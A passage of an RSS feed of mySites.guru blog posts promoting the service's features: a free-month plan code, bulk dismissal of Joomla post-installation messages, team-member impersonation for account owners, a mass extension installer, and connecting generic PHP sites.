&lt;p&gt;The broader picture of securing Joomla and WordPress sites is covered in the &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;WordPress and Joomla security guide&lt;/a&gt;. For Joomla-specific agency workflows, see the &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla agency handbook&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit →&lt;/a&gt;&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>joomla 3</category><category>best practice</category><enclosure url="https://mysites.guru/img/og/blog/how-to-fix-joomla-3-security-issues-with-a-single-click.webp" length="0" type="image/webp"/></item><item><title>How to get mySites.guru for free - for a whole month!</title><link>https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/</guid><description>Apply the FIRSTMONTHFREE code to the unlimited-sites mySites.guru plan and cancel before your first renewal to use the full service free for a whole month.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru costs &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;£19.99/month&lt;/a&gt;, the same price since 2012, with no per-site fees. But I’d rather you try it properly before paying anything.&lt;/p&gt;
&lt;p&gt;The free audit only covers one site, and needs no card. A few of you have asked for a way to test the rest of it: bulk updates, security scans, uptime monitoring, backups. Those are the basics, but &lt;a href=&quot;https://mysites.guru/blog/site-management-is-about-more-than-just-upgrades-backups-and-uptime-monitoring/&quot;&gt;real site management covers a lot more&lt;/a&gt;. So here it is.&lt;/p&gt;
&lt;p&gt;You have to enter this plan code yourself when you subscribe - it isn’t applied automatically. Do that and you won’t be charged until next month. Full access, unlimited sites, everything included.&lt;/p&gt;
&lt;p&gt;Two things to know. The code only works on the fully unlimited-sites plan at £19.99/month, not the £5.00 One Site Only subscription. And you can use it once, ever. mySites.guru isn’t a disposable service to spin up and throw away for a free month at a time - most people who join stay for years, and plenty have been with me for over a decade.&lt;/p&gt;
&lt;div&gt;
  &lt;a href=&quot;https://manage.mysites.guru/en/subscription/plans?plancode=FIRSTMONTHFREE&quot;&gt;
    ✂️ FIRSTMONTHFREE
  &lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;You are starting an auto-renewing subscription though. You’ll need to enter payment details.&lt;/p&gt;
&lt;div&gt;
  &lt;strong&gt;No risk:&lt;/strong&gt; Cancel before your renewal date and you won&apos;t be charged a penny. If you don&apos;t cancel, your subscription renews at the standard rate of £19.99/month.
&lt;/div&gt;
&lt;p&gt;Steps to get started:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to &lt;a href=&quot;https://manage.mysites.guru&quot;&gt;mySites.guru&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Go to the Subscribe page&lt;/li&gt;
&lt;li&gt;Enter the plan code &lt;code&gt;FIRSTMONTHFREE&lt;/code&gt; and click &lt;strong&gt;Apply Code&lt;/strong&gt; - the free month only applies once you’ve entered it&lt;/li&gt;
&lt;li&gt;Review the proposed plan - it should be the unlimited-sites plan, free for the first month&lt;/li&gt;
&lt;li&gt;Click &lt;a href=&quot;https://manage.mysites.guru/en/subscription/plans?plancode=FIRSTMONTHFREE&quot;&gt;Subscribe now&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Enter your payment card details&lt;/li&gt;
&lt;li&gt;Done - welcome on board!&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Questions? Drop me a line at &lt;a href=&quot;mailto:phil@phil-taylor.com&quot;&gt;phil@phil-taylor.com&lt;/a&gt; and I’ll get back to you quickly.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>pricing</category><category>free trial</category><enclosure url="https://mysites.guru/img/og/blog/how-to-get-mysites-guru-for-free-for-a-whole-month.webp" length="0" type="image/webp"/></item><item><title>How to Hide Joomla Post Installation Messages</title><link>https://mysites.guru/blog/how-to-hide-joomla-post-installation-messages-on-1000-sites-with-one-click-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-hide-joomla-post-installation-messages-on-1000-sites-with-one-click-with-mysites-guru/</guid><description>Dismiss Joomla post-installation messages on every connected site at once using the mySites.guru bulk action - no need to log into each site individually.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla’s &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Help39:Components_Post_installation_Messages&quot;&gt;Post Installation Messages&lt;/a&gt;&lt;/strong&gt; are useful on one site. When you’re &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/&quot;&gt;managing thousands of Joomla sites&lt;/a&gt;, clearing them one by one gets old fast. mySites.guru lets you dismiss them across all your sites at once.&lt;/p&gt;
&lt;h2&gt;What is a Joomla Post Installation Message?&lt;/h2&gt;
&lt;p&gt;Joomla 3.2 added a feature called “&lt;a href=&quot;https://docs.joomla.org/Help39:Components_Post_installation_Messages&quot;&gt;Post Installation Messages&lt;/a&gt;”.&lt;/p&gt;
&lt;p&gt;Post Installation Messages are used by the Joomla Project - and some extension developers - to convey important information to you after upgrading your Joomla Site or installing a Joomla extension.&lt;/p&gt;
&lt;p&gt;In the past they have been used to bring your attention to backward incompatible security changes, changes you need to manually make to your .htaccess, advice to enabled Two factor authentication etc…&lt;/p&gt;
&lt;p&gt;The messages are often dynamic and can make checks before showing. For example the Two Factor Authentication Post Installation Message will check to see if you have the plugins enabled before being shown.&lt;/p&gt;
&lt;p&gt;The idea is that you are meant to read, consume, understand and apply any suggestions in the Post Installation Messages - and then click to hide them forever (they remain in the database and can be “reverted” to show them again.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;771&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.23.07-1024x771.Bo3hOqj1_Z1swiSK.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.23.07-1024x771.Bo3hOqj1_1ONFFx.webp 640w, https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.23.07-1024x771.Bo3hOqj1_S0GX6.webp 750w, https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.23.07-1024x771.Bo3hOqj1_VaE7w.webp 828w, https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.23.07-1024x771.Bo3hOqj1_Z1swiSK.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;What Happens When You Have 1000 Sites?&lt;/h2&gt;
&lt;p&gt;When you have &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/&quot;&gt;1000 Joomla sites to manage&lt;/a&gt;, visiting each one to clear the same messages after every update is impractical.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; already has tools to allow you to &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;manage 1000s of Joomla sites in one place&lt;/a&gt;, to &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup&lt;/a&gt;, to &lt;a href=&quot;https://mysites.guru/blog/snapshot-all-your-sites-with-one-click-at-mysites-guru-the-joomla-and-wordpress-control-panel/&quot;&gt;snapshot&lt;/a&gt; and to &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit&lt;/a&gt; for &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacks&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice&lt;/a&gt; - and one of those tools will show you how many Post Installation Messages are unread.&lt;/p&gt;
&lt;p&gt;One of our tools will list your sites by this metric:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;ScreenShot 20.59.16&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;808&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-27-20.59.16-1024x808.B51ay-XL_Z1JBIQL.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-27-20.59.16-1024x808.B51ay-XL_Z1u3QzK.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-27-20.59.16-1024x808.B51ay-XL_ZwjaqQ.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-27-20.59.16-1024x808.B51ay-XL_ZXl4f2.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-27-20.59.16-1024x808.B51ay-XL_Z1JBIQL.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As you can see this account has loads of unread Post Installation Messages across many sites.&lt;/p&gt;
&lt;h2&gt;How Do You Dismiss Them All in One Click?&lt;/h2&gt;
&lt;p&gt;Click the green button:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;674&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.13.14-1024x674.BP8WcsdD_YLfCU.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.13.14-1024x674.BP8WcsdD_ZfATjq.webp 640w, https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.13.14-1024x674.BP8WcsdD_14HUyD.webp 750w, https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.13.14-1024x674.BP8WcsdD_2cCEsK.webp 828w, https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.13.14-1024x674.BP8WcsdD_YLfCU.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;A few seconds later, all Post Installation Messages are cleared on every site:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;ScreenShot 21.01.20&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;730&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-27-21.01.20-1024x730.Cn__yBL3_Z1Ga9kH.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-27-21.01.20-1024x730.Cn__yBL3_1fENj7.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-27-21.01.20-1024x730.Cn__yBL3_ZbEYya.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-27-21.01.20-1024x730.Cn__yBL3_jpijl.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-27-21.01.20-1024x730.Cn__yBL3_Z1Ga9kH.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Where do I find this?&lt;/h2&gt;
&lt;p&gt;You need a mySites.guru subscription. &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;Pricing&lt;/a&gt; hasn’t changed since 2012, and you can get your &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;first month free&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Once you’re a subscriber, &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;add your Joomla sites to your dashboard&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Then, from the Manage Site page, find the Joomla Post Installation Messages tool:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;108&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.29.16-1024x108.C0C9e1Yw_Z1mOKHH.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.29.16-1024x108.C0C9e1Yw_lN17f.webp 640w, https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.29.16-1024x108.C0C9e1Yw_1ErKhS.webp 750w, https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.29.16-1024x108.C0C9e1Yw_ZF9yii.webp 828w, https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.29.16-1024x108.C0C9e1Yw_Z1mOKHH.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;and then click on the Pivot Button that looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;ScreenShot 16.59.06&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 94px) 94px, 100vw&quot; width=&quot;94&quot; height=&quot;80&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-21-16.59.06-1.BCBTw5q3_1B9HIi.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-21-16.59.06-1.BCBTw5q3_1B9HIi.webp 94w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This was one of our most requested features after we started tracking this metric in the mySites.guru snapshot.&lt;/p&gt;
&lt;p&gt;Post Installation Messages are useful - on the first site. After that, you’ve read them, and they’re essentially identical across all your sites. Joomla 4 made this worse by showing the alert on &lt;strong&gt;every page&lt;/strong&gt; of the admin:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 992px) 992px, 100vw&quot; width=&quot;992&quot; height=&quot;154&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.21.28.D70tWeAX_39wSA.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.21.28.D70tWeAX_9DyB3.webp 640w, https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.21.28.D70tWeAX_294HQK.webp 750w, https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.21.28.D70tWeAX_1jbCgp.webp 828w, https://mysites.guru/_astro/Screenshot-2020-10-09-at-22.21.28.D70tWeAX_39wSA.webp 992w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;mySites.guru clears the flag across &lt;strong&gt;all your sites at once&lt;/strong&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Bulk Joomla admin tasks are part of our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>site management</category><category>bulk actions</category><enclosure url="https://mysites.guru/img/og/blog/how-to-hide-joomla-post-installation-messages-on-1000-sites-with-one-click-with-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>How to impersonate your mySites.guru team members</title><link>https://mysites.guru/blog/how-to-impersonate-your-mysites-guru-team-members/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-impersonate-your-mysites-guru-team-members/</guid><description>Account owners can impersonate any team member inside mySites.guru to review their view and permissions without needing to share passwords.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;After announcing &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;Team Management for mySites.guru&lt;/a&gt;, we added impersonation - one of the most useful features for account owners running a team.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Impersonate your team members&lt;/p&gt;&lt;div&gt;&lt;p&gt;As the Team Captain (the person paying), you can log in as any team member without their credentials, to access their account and see exactly what they are seeing. Exit Impersonation returns you to your own account without any login or logout.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Find out more by watching this introduction video by &lt;a href=&quot;https://twitter.com/basicjoomla&quot;&gt;Tim&lt;/a&gt; on his &lt;a href=&quot;https://www.youtube.com/channel/UCjdzrGX4xpJ_9PAfUuNDC4A&quot;&gt;Basic Joomla Tutorials Channel&lt;/a&gt;&lt;/p&gt;
&lt;div&gt;&lt;/div&gt;
&lt;p&gt;For a deeper look at Teams Management, watch this video by Tim:&lt;/p&gt;
&lt;div&gt;&lt;/div&gt;
&lt;p&gt;Impersonation works on every team member role, including the &lt;a href=&quot;https://mysites.guru/blog/accountant-portal-invoice-access/&quot;&gt;Accountant Portal&lt;/a&gt; if you ever need to see exactly what your bookkeeper sees.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Team tools like this are covered in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency management guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>teams</category><category>site management</category><category>workflow</category><enclosure url="https://mysites.guru/img/og/blog/how-to-impersonate-your-mysites-guru-team-members.png" length="0" type="image/png"/></item><item><title>Install Extensions to Multiple Joomla Sites</title><link>https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/</guid><description>Push a Joomla extension install to hundreds of sites simultaneously from the mySites.guru dashboard, with full success and failure notifications per site.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The mySites.guru Mass Installer Tool installs an extension across multiple Joomla (or WordPress) sites in one go, so you don’t have to log into each one.&lt;/p&gt;
&lt;h2&gt;What Is the Mass Plugin Installer for Joomla and WordPress?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/@Basicjoomla&quot;&gt;Tim Davis of Basic Joomla&lt;/a&gt; walks through the tool in this video:&lt;/p&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;ℹ️ Interface update&lt;/p&gt;
  &lt;p&gt;This video was filmed before the February 2024 interface refresh. Some screens and menus may look different, but the workflow is the same.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How Do You Install or Update a Joomla Extension?&lt;/h2&gt;
&lt;p&gt;You can use mySites.guru to &lt;a href=&quot;https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot;&gt;mass install a Joomla extension&lt;/a&gt; zip file to hundreds of your connected sites right from your dashboard.&lt;/p&gt;
&lt;h2&gt;How Do You Install a WordPress Plugin Across All Your Sites?&lt;/h2&gt;
&lt;p&gt;Same tool, same workflow. Select your &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-wordpress-sites/&quot;&gt;connected WordPress sites&lt;/a&gt;, upload a plugin zip or paste a URL, and you’re done.&lt;/p&gt;
&lt;h2&gt;Steps to mass install a plugin or extension&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Upload a plugin zip file or provide the URL you want to install from.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru mass installer showing the upload zip and URL input fields&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;670&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-18-23.31.13-1024x670.DIJVDGgH_myUNo.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-18-23.31.13-1024x670.DIJVDGgH_xUCuY.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-18-23.31.13-1024x670.DIJVDGgH_2c6re4.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-18-23.31.13-1024x670.DIJVDGgH_1TSP4z.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-18-23.31.13-1024x670.DIJVDGgH_myUNo.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Select the sites you want to install to. You can pick individual sites or select all connected sites at once.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru site selector showing a list of connected sites with checkboxes for mass install&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;554&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-18-23.32.05-1024x554.yFOM0o2n_Z2vIwvJ.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-18-23.32.05-1024x554.yFOM0o2n_Z17Gmvq.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-18-23.32.05-1024x554.yFOM0o2n_Gp7NV.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-18-23.32.05-1024x554.yFOM0o2n_1NVs3U.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-18-23.32.05-1024x554.yFOM0o2n_Z2vIwvJ.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Results per site&lt;/h2&gt;
&lt;p&gt;mySites.guru installs the plugin on all selected sites with no further interaction needed. You’ll get a per-site report showing which installs succeeded and which need attention.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Person relaxing while mySites.guru handles the bulk installation&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;680&quot; src=&quot;https://mysites.guru/_astro/relax.Bi7rKH2B_27rtu3.webp&quot; srcset=&quot;https://mysites.guru/_astro/relax.Bi7rKH2B_ZxpVoB.webp 640w, https://mysites.guru/_astro/relax.Bi7rKH2B_ZdhuSO.webp 750w, https://mysites.guru/_astro/relax.Bi7rKH2B_Z2rruoR.webp 828w, https://mysites.guru/_astro/relax.Bi7rKH2B_27rtu3.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;When Should You Use the Mass Installer?&lt;/h2&gt;
&lt;p&gt;The obvious case is deploying the same extension everywhere, but there are a few scenarios where it really pays off:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Emergency security patches: a critical vulnerability drops and you need every site patched before someone exploits it. Doing this one site at a time when you manage 50+ sites isn’t realistic. The &lt;a href=&quot;https://mysites.guru/blog/joomla-tinymce-firefox-148-fix/&quot;&gt;Joomla TinyMCE Firefox 148 bug&lt;/a&gt; is a perfect example - one hotfix package pushed to every affected site in minutes.&lt;/li&gt;
&lt;li&gt;Rolling out a custom plugin: if you maintain a bespoke plugin for client sites, the mass installer is the fastest way to push a new version.&lt;/li&gt;
&lt;li&gt;Standardising your stack: moving all clients onto the same backup plugin or security tool? Upload the zip once and push it everywhere.&lt;/li&gt;
&lt;li&gt;Replacing a deprecated extension: when a plugin gets abandoned or delisted, you can mass-install the replacement across every affected site in one batch.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Can You Install by URL or Zip File?&lt;/h2&gt;
&lt;p&gt;You can either upload a zip file directly or paste a URL that points to one. The URL option is handy when the extension host provides a direct download link - you don’t need to download it to your machine first.&lt;/p&gt;
&lt;p&gt;For Joomla extensions, this works with anything you’d normally install through the Joomla Extension Manager: components, plugins, modules, templates, and language packs. For WordPress, it handles any standard plugin zip.&lt;/p&gt;
&lt;h2&gt;How Do You Filter Sites Before You Install?&lt;/h2&gt;
&lt;p&gt;You don’t always want to install to every connected site. The mass installer lets you pick individual sites from your list, but there’s a quicker way if you’re targeting a specific group.&lt;/p&gt;
&lt;p&gt;Use the &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;Extensions management feature&lt;/a&gt; to search for sites that already have a particular extension installed. For example, if you want to update Akeeba Backup on every site that already has it, search for “Akeeba” in the extensions list, then click “filter by these” - the mass installer pre-selects only those sites.&lt;/p&gt;
&lt;p&gt;This is particularly useful when you’re updating rather than doing a fresh install. No point pushing a plugin to sites that don’t use it.&lt;/p&gt;
&lt;h2&gt;What happens if an install fails?&lt;/h2&gt;
&lt;p&gt;mySites.guru reports back per site. If a site is unreachable, has permissions issues, or the install itself errors out, you’ll see it in the results. The other installs aren’t affected - each site is processed independently.&lt;/p&gt;
&lt;p&gt;Common reasons for failures:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Site is offline or unreachable at the time of install&lt;/li&gt;
&lt;li&gt;PHP memory or execution time limits too low for the package size&lt;/li&gt;
&lt;li&gt;File permissions preventing writes to the plugin directory&lt;/li&gt;
&lt;li&gt;The site’s connection to mySites.guru has expired and needs reconnecting&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can retry failed sites individually or run the mass install again with just those sites selected.&lt;/p&gt;
&lt;h2&gt;Combining mass installs with bulk updates&lt;/h2&gt;
&lt;p&gt;The mass installer and &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;bulk updates&lt;/a&gt; solve different problems. Bulk updates handle version upgrades for extensions already installed on your sites. The mass installer pushes a specific zip to sites that may not have the extension at all.&lt;/p&gt;
&lt;p&gt;A typical workflow: use the mass installer to deploy a new extension across your portfolio, then use bulk updates going forward to keep it current as new versions come out.&lt;/p&gt;
&lt;h2&gt;Supported platforms&lt;/h2&gt;
&lt;p&gt;The mass installer works with both Joomla and WordPress sites connected to mySites.guru. There’s no limit on how many sites you can target in a single batch - if you’ve got 500 sites connected, you can install to all 500 at once.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free site audit&lt;/a&gt; to connect your first site and try the mass installer yourself.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Bulk extension deployment is a key workflow in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>extensions</category><category>bulk actions</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once.webp" length="0" type="image/webp"/></item><item><title>Manage and Monitor Any PHP App with mySites.guru</title><link>https://mysites.guru/blog/how-to-manage-and-monitor-any-php-application-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-manage-and-monitor-any-php-application-with-mysites-guru/</guid><description>The mySites app works with any PHP-based web application, not just WordPress and Joomla. Connect any PHP site to get security audits, snapshots, and alerts.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru isn’t just for Joomla and WordPress. You can add, manage, audit, back up and monitor &lt;strong&gt;any webspace that can run PHP&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; is best known for helping agencies and developers &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;manage multiple Joomla and WordPress sites&lt;/a&gt;, with &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/&quot;&gt;over 90,000 sites already connected&lt;/a&gt;. But the same toolset works for any PHP application. Drupal, Prestashop, Magento, Laravel, custom-built apps - if it runs PHP, you can connect it.&lt;/p&gt;
&lt;p&gt;That means you get the full &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;site management&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backup&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;uptime monitoring&lt;/a&gt; capabilities across every site in your portfolio, no matter what CMS it runs.&lt;/p&gt;
&lt;div&gt;
  
  &lt;p&gt;The screenshots below are from an older version of the interface. We&apos;ve since redesigned the dashboard, but the process works the same way.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How do you connect a generic PHP site?&lt;/h2&gt;
&lt;p&gt;Using the &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;connect-another-site wizard&lt;/a&gt;, select the Generic PHP option and download the connector. Upload it to the &lt;code&gt;/bfnetwork&lt;/code&gt; directory on your server.&lt;/p&gt;
&lt;p&gt;You then provide database credentials (mySites.guru uses a database table to store the audit cache) and you’re connected.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru connect-another-site wizard showing the Generic PHP connector download option with server path instructions&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;820&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2021-08-14-at-19.07.59-1024x820.CrK86ehE_Z1ce67K.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2021-08-14-at-19.07.59-1024x820.CrK86ehE_ovt7r.webp 640w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-19.07.59-1024x820.CrK86ehE_Z2gDWKl.webp 750w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-19.07.59-1024x820.CrK86ehE_Z1hxFbL.webp 828w, https://mysites.guru/_astro/Screenshot-2021-08-14-at-19.07.59-1024x820.CrK86ehE_Z1ce67K.webp 1024w&quot; /&gt;&lt;/p&gt;
